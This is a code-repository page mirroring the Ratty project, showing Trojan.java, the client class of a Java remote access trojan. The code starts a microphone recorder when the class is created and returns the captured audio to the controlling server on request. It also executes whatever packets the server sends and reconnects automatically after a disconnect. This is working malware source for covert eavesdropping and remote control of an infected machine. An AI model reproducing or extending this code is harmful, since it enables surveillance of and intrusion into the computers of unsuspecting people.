mirror of https://github.com/LucaBongiorni/Ratty
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
50 lines
1.2 KiB
50 lines
1.2 KiB
package de.sogomn.rat;
|
|
|
|
import de.sogomn.rat.packet.IPacket;
|
|
import de.sogomn.rat.packet.VoicePacket;
|
|
import de.sogomn.rat.util.VoiceRecorder;
|
|
|
|
public final class Trojan implements IConnectionObserver {
|
|
|
|
private VoiceRecorder voiceRecorder;
|
|
|
|
private static final int VOICE_BUFFER_SIZE = 1024 << 6;
|
|
|
|
public Trojan() {
|
|
voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE);
|
|
|
|
voiceRecorder.start();
|
|
}
|
|
|
|
private void handleVoicePacket(final VoicePacket packet) {
|
|
final byte[] data = voiceRecorder.getLastRecord();
|
|
|
|
packet.setData(data);
|
|
}
|
|
|
|
@Override
|
|
public void packetReceived(final ActiveConnection client, final IPacket packet) {
|
|
final Class<? extends IPacket> clazz = packet.getClass();
|
|
|
|
if (clazz == VoicePacket.class) {
|
|
final VoicePacket voice = (VoicePacket)packet;
|
|
|
|
handleVoicePacket(voice);
|
|
}
|
|
|
|
packet.execute(client);
|
|
}
|
|
|
|
@Override
|
|
public void disconnected(final ActiveConnection client) {
|
|
final String address = client.getAddress();
|
|
final int port = client.getPort();
|
|
|
|
voiceRecorder.stop();
|
|
|
|
client.setObserver(null);
|
|
|
|
Ratty.connectToHost(address, port);
|
|
}
|
|
|
|
}
|